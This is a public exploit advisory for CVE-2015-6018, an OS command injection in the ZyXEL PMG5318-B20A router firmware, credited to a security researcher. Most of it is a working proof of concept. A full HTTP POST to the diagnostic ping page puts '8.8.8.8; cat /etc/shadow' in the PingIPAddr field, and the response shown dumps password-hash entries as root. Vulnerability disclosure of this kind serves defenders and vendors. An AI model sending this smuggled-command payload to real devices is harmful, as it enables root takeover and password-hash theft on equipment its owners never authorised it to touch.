ZyXEL PMG5318-B20A OS Command Injection

`# Exploit Title: [ZyXEL PMG5318-B20A OS Command Injection Vulnerability]  
# Discovered by: Karn Ganeshen  
# CERT VU# 870744  
# Vendor Homepage: [www.zyxel.com]  
# Version Reported: [Firmware version V100AANC0b5]  
# CVE-2015-6018 [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6018  
]  
  
  
*Vulnerability Details*  
  
CWE-20 <http://cwe.mitre.org/data/definitions/20.html>: Improper Input  
Validation - CVE-2015-6018  
  
The diagnostic ping function's PingIPAddr parameter in the ZyXEL  
PMG5318-B20A, firmware version V100AANC0b5, does not properly validate user  
input. An attacker can execute arbitrary commands as root.  
  
*OS Command Injection PoC*  
  
The underlying services are run as 'root'. It therefore, allows dumping  
system password hashes.  
  
*HTTP Request*  
  
POST /diagnostic/diagnostic_general.cgi HTTP/1.1  
Host: <IP>  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:40.0) Gecko/20100101  
Firefox/40.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://<IP>/diagnostic/diagnostic_general.cgi  
Cookie: session=a457f8ad83ba22dc256cd0b002c66666 Connection: keep-alive  
Content-Type: multipart/form-data; boundary=--------------------------  
-12062103314079176991367286444  
Content-Length: 451  
  
——————————————12062103314079176991367286444  
Content-Disposition: form-data; name="InfoDisplay”  
——————————————12062103314079176991367286444  
Content-Disposition: form-data; name="*PingIPAddr*"  
*8.8.8.8; cat /etc/shadow *  
——————————————12062103314079176991367286444  
Content-Disposition: form-data; name="Submit"  
Ping  
….  
*HTTP Response *  
.....  
<snipped>  
<br class="clearfloat" />  
<!-- configuration beginning -->  
<div class="headline"><span class="cTitle">General</span></div> <table  
width="90%" border="0" align="center" cellpadding="0" cellspacing="0"  
class="cfgpadding">  
<tr>  
<td nowrap="nowrap"><textarea name="InfoDisplay" rows="15" cols="100"  
readonly="readonly”>  
  
  
*root:<hash>:15986:0:99999:7:::  
lp:*:13013:0:99999:7:::nobody:*:13013:0:99999:7:::admin:<hash>:16035:0:99999:7:::  
user:<hash>:16035:0:99999:7:::*  
</textarea></td>  
</tr>  
</table>  
<table width="90%" border="0" align="center" cellpadding="0"  
cellspacing="0" class="cfgpadding">  
<tr>  
-----------------------------12062103314079176991367286444--  
  
--   
Best Regards,  
Karn Ganeshen  
`